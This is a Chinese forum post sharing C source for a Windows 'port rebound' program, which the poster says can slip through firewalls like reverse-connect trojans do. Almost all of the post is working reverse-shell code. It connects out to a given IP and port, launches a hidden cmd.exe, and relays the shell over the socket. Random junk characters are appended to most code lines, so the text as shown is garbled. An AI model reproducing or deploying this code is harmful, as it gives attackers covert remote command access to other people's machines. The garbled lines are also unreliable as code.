社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3924阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 X"kXNKV/n  
;rNd701p"  
/* ============================== :L]-'\y  
Rebound port in Windows NT NU|qX {-  
By wind,2006/7 K1;z Mh  
===============================*/ J=@hk@Nq#  
#include 1T!cc%ah  
#include Lqg] Fd  
vkd *ER^  
#pragma comment(lib,"wsock32.lib") 6e,Apj 0  
5_v5  
void OutputShell(); buRhQ"  
SOCKET sClient; n49;Z,[~  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~@xT]D!BQ  
S2Zx &D/_  
void main(int argc,char **argv) U%Dit  
{ j -#E?&2  
WSADATA stWsaData; 0xN!DvCg>.  
int nRet; (2: N;  
SOCKADDR_IN stSaiClient,stSaiServer; lrCm9Oy  
(gLea  
if(argc != 3) W5pn;u- sz  
{ *:?QB8YJ  
printf("Useage:\n\rRebound DestIP DestPort\n"); b([:,T7  
return; y^9bfMA  
} v,n);  
S<V-ZV&_:U  
WSAStartup(MAKEWORD(2,2),&stWsaData); <BZ_ (H  
<[bQo&B2 E  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JK[T]|G  
pV8[l)J  
stSaiClient.sin_family = AF_INET; T]^?l  
stSaiClient.sin_port = htons(0); N"S3N)wgd  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);  dFzYOG1  
T&]Na  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) TS1pR"6l  
{ >Q&CgGpW$  
printf("Bind Socket Failed!\n"); Dq|GQdZ>o  
return; %WZ$]M?q  
} I[@ts!YD  
`q^(SM  
stSaiServer.sin_family = AF_INET; %yeu"  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); { AFf:[G  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Ocybc%  
V>6QPA^  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1bd$XnU  
{ dQ,Q+ON>  
printf("Connect Error!"); ebzzzmwo  
return;  1y 7y0V  
} Qy/uB$q{A  
OutputShell(); #kj~G]QA  
}  +.=1^+a  
U4=]#=R~o  
void OutputShell() ]7*kWc2  
{ ;3mL^  
char szBuff[1024]; >8%M*-=p  
SECURITY_ATTRIBUTES stSecurityAttributes; Ha?G=X  
OSVERSIONINFO stOsversionInfo; lHcA j{6  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <&`:&7  
STARTUPINFO stStartupInfo; WX LK89ev\  
char *szShell; ka/nQ~_#<  
PROCESS_INFORMATION stProcessInformation; [8.-(-/;  
unsigned long lBytesRead; I4ebkPgf  
7aV$YuL)X~  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $_wo6/J5+D  
,}KwP*:Z  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -U7,k\g  
stSecurityAttributes.lpSecurityDescriptor = 0; l(#1mY5!q8  
stSecurityAttributes.bInheritHandle = TRUE; grc:Y  
>}CEN  
M%3Wy"YQ,n  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); GKCM|Y  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _p0)vT  
f$vwuW  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 0iF-}o  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ndqckT@93  
stStartupInfo.wShowWindow = SW_HIDE; "sD1T3!\)Q  
stStartupInfo.hStdInput = hReadPipe; Z0 aUHWms  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; wE?CvL  
7N| AA^I  
GetVersionEx(&stOsversionInfo); B@"J]S  
)J&|\m(e  
switch(stOsversionInfo.dwPlatformId) "w9`cz9a~J  
{ l~NEGb  
case 1: rmsQt  
szShell = "command.com"; 0 k9<&  
break; q~j)W$k  
default: {tc57jsr  
szShell = "cmd.exe"; PYu$1o9+N  
break; Ia#"/`||  
} <*_o0;h|  
d+0^u(gc!8  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); nZxSMN0]  
&8n?  
send(sClient,szMsg,77,0); 7k'gt/#up  
while(1) &sdx`,  
{ 6Kp}_^|z  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); @`S.@^%7fO  
if(lBytesRead) w:Ra7ExP  
{ $R?@L  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Ik Qe~;Y  
send(sClient,szBuff,lBytesRead,0); _$5@uL{n"^  
} `w+1C&>^[  
else 4v Lw?_".  
{ >L=;"+B0U&  
lBytesRead=recv(sClient,szBuff,1024,0); ^&NN]?  
if(lBytesRead<=0) break; e8-ehs>  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); T<6GcI>A  
} e^8BV;+c  
} *7Xzht&f  
(-(QDRxK  
return; o0l7 4  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八